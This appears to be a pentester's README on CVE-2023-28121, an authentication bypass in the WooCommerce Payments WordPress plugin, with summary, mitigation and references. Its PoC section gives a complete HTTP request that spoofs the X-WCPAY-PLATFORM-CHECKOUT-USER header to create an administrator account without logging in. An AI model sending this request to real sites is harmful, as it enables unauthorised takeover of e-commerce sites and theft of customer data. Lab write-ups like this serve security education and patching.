🔐 CVE-2023-28121 — WordPress Privilege Escalation

Practical exploitation of a critical vulnerability in WordPress using the WooCommerce Payments plugin.

📌 Summary

CVE-2023-28121 allows creating administrator users without authentication via the REST API.

• Severity: Critical (CVSS 9.8)
• Impact: Full site control
• Type: Authentication Bypass / Privilege Escalation
• +600,000 active installations - March 2023 https://www.wiz.io/vulnerability-database/cve/cve-2023-28121?utm_source=chatgpt.com

📊 The affected plugin has hundreds of thousands of installations, being widely used in e-commerce.

🎥 Demonstration

https://github.com/user-attachments/assets/cead3884-0924-4320-967f-de9fb3f6cd44

⚠️ How it works

The system accepts a manipulable header:

X-WCPAY-PLATFORM-CHECKOUT-USER: 1

With this, it's possible to send a request to create a user with elevated privileges without valid authentication.

🧪 PoC

POST /wp-json/wp/v2/users
Content-Type: application/json
X-WCPAY-PLATFORM-CHECKOUT-USER: 1

{
  "username": "hacked",
  "password": "StrongPass123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

✔️ Result: admin user creation

🔥 Impact

• Administrator creation
• Access to the dashboard /wp-admin
• Possible full takeover
• Risk of fraud and data leakage

🛠️ Mitigation

• Update the plugin to the patched version
• Restrict access to the REST API
• Properly validate authentication

🧱 Environment

• WordPress (local lab)
• WooCommerce Payments (vulnerable version)

📚 References

• CVE-2023-28121
• WordPress REST API Documentation
• https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/

👨‍💻 Author

Luis Eduardo .M.B.S.R

Pentester / Web Security

LinkedIn: https://www.linkedin.com/in/luis-eduardo-ti/

GitHub: https://github.com/luisdevpentest

⚖️ Disclaimer

Educational use in a controlled environment. I am not responsible for how this knowledge is used by third parties.